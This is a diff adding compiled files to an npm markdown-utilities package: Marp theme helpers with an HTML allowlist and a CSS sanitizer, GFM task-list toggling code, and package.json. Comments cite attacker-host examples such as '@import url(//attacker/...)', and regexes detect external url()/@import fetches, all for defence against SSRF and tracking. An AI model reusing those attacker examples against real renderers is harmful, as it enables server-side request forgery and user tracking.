+        return normalized === "true" || normalized === "yes" || normalized === "1";
+    }
+    return false;
+}

package/dist/markdown/marpTheme.d.ts

@@ -0,0 +1,28 @@
+/** Inline-HTML allowlist for `new Marp({ html: ... })`. Each entry
+ *  permits a tag with the listed attributes; everything else stays
+ *  escaped. Kept conservative on purpose — adding event-handler
+ *  attrs (`onclick`, `onerror`, …) or interactive tags (`script`,
+ *  `iframe`, `form`, `input`, …) would defeat the point of having
+ *  an allowlist at all.
+ *
+ *  Plain (non-readonly) arrays because Marp's HTMLAllowList type
+ *  is mutable `string[]` — we can't hand it `readonly string[]`. */
+export declare const MARP_HTML_ALLOWLIST: Record<string, string[]>;
+/** Strip the `.css` extension and validate the slug.
+ *  Returns null for names that wouldn't survive Marp's own
+ *  `[A-Za-z0-9_-]` validator. */
+export declare function marpThemeNameFromFilename(filename: string): string | null;
+/** Re-stamp the `@theme <name>` Marp directive on the CSS so the
+ *  registered name matches the filename (the convention the rest of
+ *  the system relies on). If the CSS already declares a different
+ *  name, the filename wins — we don't want a `themes/foo.css` that
+ *  registers as "bar", because the frontmatter lookup would silently
+ *  miss. */
+export declare function ensureThemeDirective(css: string, themeName: string): string;
+export interface SanitizeResult {
+    ok: boolean;
+    reason?: string;
+}
+/** Reject CSS that would pull external resources at render time.
+ *  Allows `data:` URIs (inline fonts) and same-origin / relative refs. */
+export declare function sanitizeMarpThemeCss(css: string): SanitizeResult;

package/dist/markdown/marpTheme.js

@@ -0,0 +1,99 @@
+// Marp custom-theme helpers (#1649). Shared by the frontend (MarpView)
+// and the server (PDF route + workspace I/O).
+//
+// Also exposes `MARP_HTML_ALLOWLIST` — the inline-HTML tag/attribute
+// whitelist passed to `new Marp({ html: ... })` in both surfaces, so
+// preview and PDF agree on which raw-HTML tags survive Marp's
+// markdown-it pass. Default Marp config (`html: false`) escapes
+// every `<div>` / `<span>` / `<img>` etc.; we open the door to a
+// small, attribute-scoped subset that covers slide-layout needs
+// without admitting `<script>` / `<iframe>` / form elements.
+//
+// Marp identifies themes by a `/* @theme <name> */` comment at the
+// top of the CSS source. The workspace convention is **filename =
+// theme name**: `config/marp-themes/corporate.css` registers a theme
+// named `corporate` and is referenced from a deck's frontmatter
+// `theme: corporate`. `ensureThemeDirective` injects the directive
+// if the file omits it, so users don't have to remember the
+// boilerplate.
+//
+// `sanitizeMarpThemeCss` rejects any CSS that pulls external
+// resources at render time. The Marp themeSet itself happily accepts
+// `@import url(http://...)` and `url(http://attacker/track.png)`,
+// but our preview iframe's CSP already denies non-same-origin
+// network traffic — so a theme that needed those would render
+// broken anyway, and accepting it would create an SSRF / tracking
+// vector in the server-side PDF path which runs in a headless
+// browser without the iframe's CSP. Block at load time; surface a
+// diagnostic on the bell so authors notice.
+const LAYOUT_ATTRS = ["id", "class", "style"];
+/** Inline-HTML allowlist for `new Marp({ html: ... })`. Each entry
+ *  permits a tag with the listed attributes; everything else stays
+ *  escaped. Kept conservative on purpose — adding event-handler
+ *  attrs (`onclick`, `onerror`, …) or interactive tags (`script`,
+ *  `iframe`, `form`, `input`, …) would defeat the point of having
+ *  an allowlist at all.
+ *
+ *  Plain (non-readonly) arrays because Marp's HTMLAllowList type
+ *  is mutable `string[]` — we can't hand it `readonly string[]`. */
+export const MARP_HTML_ALLOWLIST = {
+    div: [...LAYOUT_ATTRS],
+    span: [...LAYOUT_ATTRS],
+    img: ["src", "alt", "width", "height", ...LAYOUT_ATTRS],
+    br: [],
+    sub: [...LAYOUT_ATTRS],
+    sup: [...LAYOUT_ATTRS],
+    small: [...LAYOUT_ATTRS],
+};
+const THEME_DIRECTIVE_RE = /\/\*\s*@theme\s+([A-Za-z0-9_-]+)\s*\*\//;
+/** Strip the `.css` extension and validate the slug.
+ *  Returns null for names that wouldn't survive Marp's own
+ *  `[A-Za-z0-9_-]` validator. */
+export function marpThemeNameFromFilename(filename) {
+    const lower = filename.toLowerCase();
+    if (!lower.endsWith(".css"))
+        return null;
+    const base = filename.slice(0, -4);
+    if (!/^[A-Za-z0-9_-]+$/.test(base))
+        return null;
+    return base;
+}
+/** Re-stamp the `@theme <name>` Marp directive on the CSS so the
+ *  registered name matches the filename (the convention the rest of
+ *  the system relies on). If the CSS already declares a different
+ *  name, the filename wins — we don't want a `themes/foo.css` that
+ *  registers as "bar", because the frontmatter lookup would silently
+ *  miss. */
+export function ensureThemeDirective(css, themeName) {
+    const stripped = css.replace(THEME_DIRECTIVE_RE, "").trimStart();
+    return `/* @theme ${themeName} */\n${stripped}`;
+}
+// External URL fingerprint: `url(...)` or bare-string `@import "..."`
+// pointing at `http(s)://` OR a protocol-relative `//host/...`.
+//
+// The protocol-relative form (`//attacker.example/x.css`) was a real
+// bypass in the first cut — the preview iframe's CSP still blocked
+// it, but the PDF route runs in puppeteer without that CSP, so
+// `@import url(//attacker/...)` would happily fetch (CodeRabbit +
+// Codex review on #1653).
+// Strip every run of whitespace before matching so adversarial
+// padding (`url  (   "  http...`) can't pad the gap to evade
+// detection. Marp doesn't care about whitespace inside `url()` /
+// `@import` either, so a theme that hides intent under 1 000 spaces
+// renders the same as one without — we'd lose nothing by ignoring
+// the spaces. The patterns below run against the stripped string,
+// so they contain no `\s` quantifiers and can't backtrack on any
+// input (linear time, ReDoS-safe). Codex flagged the previous
+// bounded-`\s{0,8}` form as bypassable with 9+ spaces on PR #1653.
+const STRIPPED_URL_EXTERNAL_RE = /url\(["']?(?:https?:|\/\/)/i;
+const STRIPPED_IMPORT_EXTERNAL_RE = /@import["'](?:https?:|\/\/)/i;
+const WHITESPACE_RE = /\s+/g;
+/** Reject CSS that would pull external resources at render time.
+ *  Allows `data:` URIs (inline fonts) and same-origin / relative refs. */
+export function sanitizeMarpThemeCss(css) {
+    const compact = css.replace(WHITESPACE_RE, "");
+    if (STRIPPED_URL_EXTERNAL_RE.test(compact) || STRIPPED_IMPORT_EXTERNAL_RE.test(compact)) {
+        return { ok: false, reason: "external url() / @import is not allowed" };
+    }
+    return { ok: true };
+}

package/dist/markdown/taskList.d.ts

@@ -0,0 +1,36 @@
+/** Find the source-line index of every task-list item, in document
+ *  order, skipping content inside fenced code blocks. Returned array
+ *  length is the total task count the source-side walker sees.
+ *
+ *  Exported so callers can cross-check the count against marked's
+ *  rendered DOM (`input.md-task` element count). When the two
+ *  disagree the source has tasks that marked is treating as code
+ *  (e.g. content of a 4-space indented code block) — the only safe
+ *  reaction is to refuse the click, never blindly toggle the
+ *  source-side n-th line.
+ */
+export declare function findTaskLines(source: string): number[];
+/** Toggle the n-th task-list checkbox in `source`. Returns the new
+ *  markdown, or `null` if the index is out of range or the matched
+ *  line isn't actually a task line (defensive against source/DOM
+ *  drift). Indexing matches `marked`'s render order: top-down,
+ *  document order, skipping content inside fenced code blocks.
+ *
+ *  Known limitation: 4-space *indented* code blocks (the alternative
+ *  to fenced) aren't tracked, so a `    - [ ] foo` line written as
+ *  literal code inside an indented block would be counted as a task
+ *  even though `marked` renders it verbatim. Full CommonMark indented-
+ *  code-block detection is context-dependent (needs blank-line
+ *  history, list-continuation column, etc.); the practical workaround
+ *  is twofold: (1) prefer fenced code for samples that contain task
+ *  syntax, and (2) the caller cross-checks `findTaskLines(source).length`
+ *  against the rendered DOM's `input.md-task` count and refuses to
+ *  write when they disagree, so the worst case is a no-op click — not
+ *  data corruption.
+ */
+export declare function toggleTaskAt(source: string, taskIndex: number): string | null;
+/** Strip `disabled=""` from rendered GFM task checkboxes and tag them
+ *  with `class="md-task"` so the viewer's click delegation can find
+ *  them. Idempotent — running twice on the same HTML is a no-op on
+ *  the second pass (the `disabled` attribute is gone). */
+export declare function makeTasksInteractive(html: string): string;

package/dist/markdown/taskList.js

@@ -0,0 +1,170 @@
+// GFM task-list helpers for the markdown viewer (#775).
+//
+// Two pieces, both pure / DOM-free so they can be unit tested:
+//
+//  - `toggleTaskAt(markdown, taskIndex)` — toggle the n-th `- [ ]` /
+//    `- [x]` line in the source. Walks lines and skips fenced code
+//    blocks so a literal task-looking line inside ``` ... ``` is not
+//    counted, matching what `marked` renders.
+//
+//  - `makeTasksInteractive(html)` — strip the `disabled=""` attribute
+//    that marked puts on rendered task checkboxes and tag them with
+//    `class="md-task"` so the click handler can find them via DOM
+//    delegation. We post-process the HTML rather than override
+//    marked's renderer to avoid mutating the global `marked` instance
+//    (which is also used by wiki/View.vue, where this PR doesn't yet
+//    enable interactive tasks).
+// Matches a GFM task-list marker at the start of a list line. The
+// `prefix` group absorbs leading whitespace plus any blockquote
+// markers (`>`, possibly nested), so:
+//   - [ ] foo
+//   * [x] bar
+//   1. [ ] dot-style ordered
+//   1) [ ] paren-style ordered
+//   > - [ ] quoted
+//   > > - [ ] nested-quoted
+// all match. `marked` renders all of these as a real task checkbox,
+// so they need to be counted (and writable) by the index walker.
+//
+// Captures: prefix (indent + any `>` chains), bullet, separator, mark.
+// `\s*` and `>\s*` operate on disjoint character classes from the
+// surrounding bullet / separator / mark, so the nested quantifiers
+// can't overlap to produce ReDoS — each pass is linear in line length.
+// eslint-disable-next-line security/detect-unsafe-regex -- markdown task-line parser, bounded captures with hard delimiters
+const TASK_LINE = /^(\s*(?:>\s*)*)([-*+]|\d+[.)])(\s+)\[([ xX])\]/;
+// Fenced code block opener/closer. CommonMark allows fences to be
+// indented up to 3 spaces; ≥ 4 leading spaces makes the line literal
+// content of an indented code block, so we must NOT treat that as a
+// fence — otherwise the index-counter drifts. ``` and ~~~ are both
+// legal; the closing fence must use the same character as the opener.
+//
+// `stepFence` strips any leading blockquote prefix before applying
+// this regex so blockquote-wrapped fences (`> ``` ... `> ``` `) are
+// recognised. Without that, content inside a quoted fence would
+// be walked at top level and any `> - [ ]`-shaped line inside would
+// be miscounted as a task — making the View's count-cross-check
+// refuse all toggles in the whole document.
+const FENCE_LINE = /^( {0,3})(`{3,}|~{3,})/;
+// eslint-disable-next-line security/detect-unsafe-regex -- bounded blockquote-prefix parser; `\s*` / `>\s?` / outer `+` operate on disjoint character classes (no overlap)
+const BLOCKQUOTE_PREFIX = /^(\s*(?:>\s?)+)/;
+// Update fence state for a single line. Returns true when the line is
+// part of a fence (opener, closer, or interior) and should be skipped
+// by the task counter.
+function stepFence(line, state) {
+    // Strip a blockquote prefix (one or more `>` markers) so a fence
+    // line written as `> ```` is recognised the same as a top-level
+    // ` ``` `. Inside the blockquote, the 0-3-space indent rule of
+    // FENCE_LINE still applies relative to the post-quote content, so
+    // `>     ``` ` (≥ 4 spaces of content indent) is correctly NOT a
+    // fence.
+    const quoteMatch = line.match(BLOCKQUOTE_PREFIX);
+    const content = quoteMatch ? line.slice(quoteMatch[0].length) : line;
+    const fenceMatch = content.match(FENCE_LINE);
+    if (fenceMatch) {
+        const [, , marker] = fenceMatch;
+        if (!state.inFence) {
+            // Openers may carry an info string after the marker
+            // (e.g. "```ts"). We don't need to keep it — just enter
+            // the fenced region.
+            state.inFence = true;
+            state.marker = marker;
+            return true;
+        }
+        // Closer rules per CommonMark §4.5:
+        //   (a) same character as opener
+        //   (b) length ≥ opener
+        //   (c) NO info string — only whitespace allowed after the marker
+        // Without (c), a line like "``` js" inside a fence would be
+        // wrongly treated as the closer; marked keeps it as content.
+        // (Slice from `content`, not `line` — fenceMatch[0] is relative
+        // to the post-blockquote-strip content.)
+        const afterMarker = content.slice(fenceMatch[0].length);
+        if (state.marker && marker[0] === state.marker[0] && marker.length >= state.marker.length && /^\s*$/.test(afterMarker)) {
+            state.inFence = false;
+            state.marker = null;
+            return true;
+        }
+        // A fence-shaped line that doesn't satisfy the closer rule is
+        // still inside the open fence — skip it like any other content.
+        return true;
+    }
+    return state.inFence;
+}
+// Apply the [ ]/[x] flip captured by `TASK_LINE` and rebuild the line
+// with the rest of the original text intact. `prefix` includes any
+// indentation plus blockquote markers so quoted tasks like
+// `> - [ ] foo` round-trip cleanly.
+function flipMark(line, match) {
+    const [whole, prefix, bullet, sep, mark] = match;
+    const flipped = mark === " " ? "x" : " ";
+    return `${prefix}${bullet}${sep}[${flipped}]${line.slice(whole.length)}`;
+}
+/** Find the source-line index of every task-list item, in document
+ *  order, skipping content inside fenced code blocks. Returned array
+ *  length is the total task count the source-side walker sees.
+ *
+ *  Exported so callers can cross-check the count against marked's
+ *  rendered DOM (`input.md-task` element count). When the two
+ *  disagree the source has tasks that marked is treating as code
+ *  (e.g. content of a 4-space indented code block) — the only safe
+ *  reaction is to refuse the click, never blindly toggle the
+ *  source-side n-th line.
+ */
+export function findTaskLines(source) {
+    const lines = source.split("\n");
+    const fence = { inFence: false, marker: null };
+    const taskLines = [];
+    for (let lineIdx = 0; lineIdx < lines.length; lineIdx++) {
+        const line = lines[lineIdx];
+        if (stepFence(line, fence))
+            continue;
+        if (TASK_LINE.test(line))
+            taskLines.push(lineIdx);
+    }
+    return taskLines;
+}
+/** Toggle the n-th task-list checkbox in `source`. Returns the new
+ *  markdown, or `null` if the index is out of range or the matched
+ *  line isn't actually a task line (defensive against source/DOM
+ *  drift). Indexing matches `marked`'s render order: top-down,
+ *  document order, skipping content inside fenced code blocks.
+ *
+ *  Known limitation: 4-space *indented* code blocks (the alternative
+ *  to fenced) aren't tracked, so a `    - [ ] foo` line written as
+ *  literal code inside an indented block would be counted as a task
+ *  even though `marked` renders it verbatim. Full CommonMark indented-
+ *  code-block detection is context-dependent (needs blank-line
+ *  history, list-continuation column, etc.); the practical workaround
+ *  is twofold: (1) prefer fenced code for samples that contain task
+ *  syntax, and (2) the caller cross-checks `findTaskLines(source).length`
+ *  against the rendered DOM's `input.md-task` count and refuses to
+ *  write when they disagree, so the worst case is a no-op click — not
+ *  data corruption.
+ */
+export function toggleTaskAt(source, taskIndex) {
+    if (!Number.isInteger(taskIndex) || taskIndex < 0)
+        return null;
+    const taskLines = findTaskLines(source);
+    if (taskIndex >= taskLines.length)
+        return null;
+    const lineIdx = taskLines[taskIndex];
+    const lines = source.split("\n");
+    const taskMatch = lines[lineIdx].match(TASK_LINE);
+    if (!taskMatch)
+        return null;
+    lines[lineIdx] = flipMark(lines[lineIdx], taskMatch);
+    return lines.join("\n");
+}
+/** Strip `disabled=""` from rendered GFM task checkboxes and tag them
+ *  with `class="md-task"` so the viewer's click delegation can find
+ *  them. Idempotent — running twice on the same HTML is a no-op on
+ *  the second pass (the `disabled` attribute is gone). */
+export function makeTasksInteractive(html) {
+    // marked v18 default output:
+    //   <input disabled="" type="checkbox">         (unchecked)
+    //   <input checked="" disabled="" type="checkbox">  (checked)
+    // Both end with ` type="checkbox">`. Capture everything between
+    // `<input ` and `disabled=""` (typically empty or `checked="" `)
+    // and re-emit with `class="md-task"` in disabled's slot.
+    return html.replace(/<input ([^>]*)disabled="" type="checkbox">/g, '<input $1class="md-task" type="checkbox">');
+}

package/package.json

@@ -0,0 +1,45 @@
+{
+  "name": "@mulmoclaude/markdown-utils",
+  "version": "1.0.0",
+  "description": "Browser-safe markdown / image rendering utilities shared by the MulmoClaude host and the markdown plugin",
+  "type": "module",
+  "main": "./dist/index.js",
+  "types": "./dist/index.d.ts",
+  "exports": {
+    ".": {
+      "types": "./dist/index.d.ts",
+      "import": "./dist/index.js",
+      "require": "./dist/index.js",
+      "default": "./dist/index.js"
+    },
+    "./*": {
+      "types": "./dist/*.d.ts",
+      "import": "./dist/*.js",
+      "require": "./dist/*.js",
+      "default": "./dist/*.js"
+    }
+  },
+  "files": [
+    "dist",
+    "README.md"
+  ],
+  "scripts": {
+    "build": "tsc",
+    "prepack": "yarn build",
+    "typecheck": "tsc --noEmit",
+    "test": "tsx --test test/test_*.ts",
+    "lint": "eslint src test"
+  },
+  "license": "MIT",
+  "author": "Receptron Team",
+  "dependencies": {
+    "js-yaml": "^5.2.1"
+  },
+  "peerDependencies": {
+    "vue": "^3.5.0"
+  },
+  "devDependencies": {
+    "typescript": "^6.0.3",
+    "vue": "^3.5.40"
+  }
+}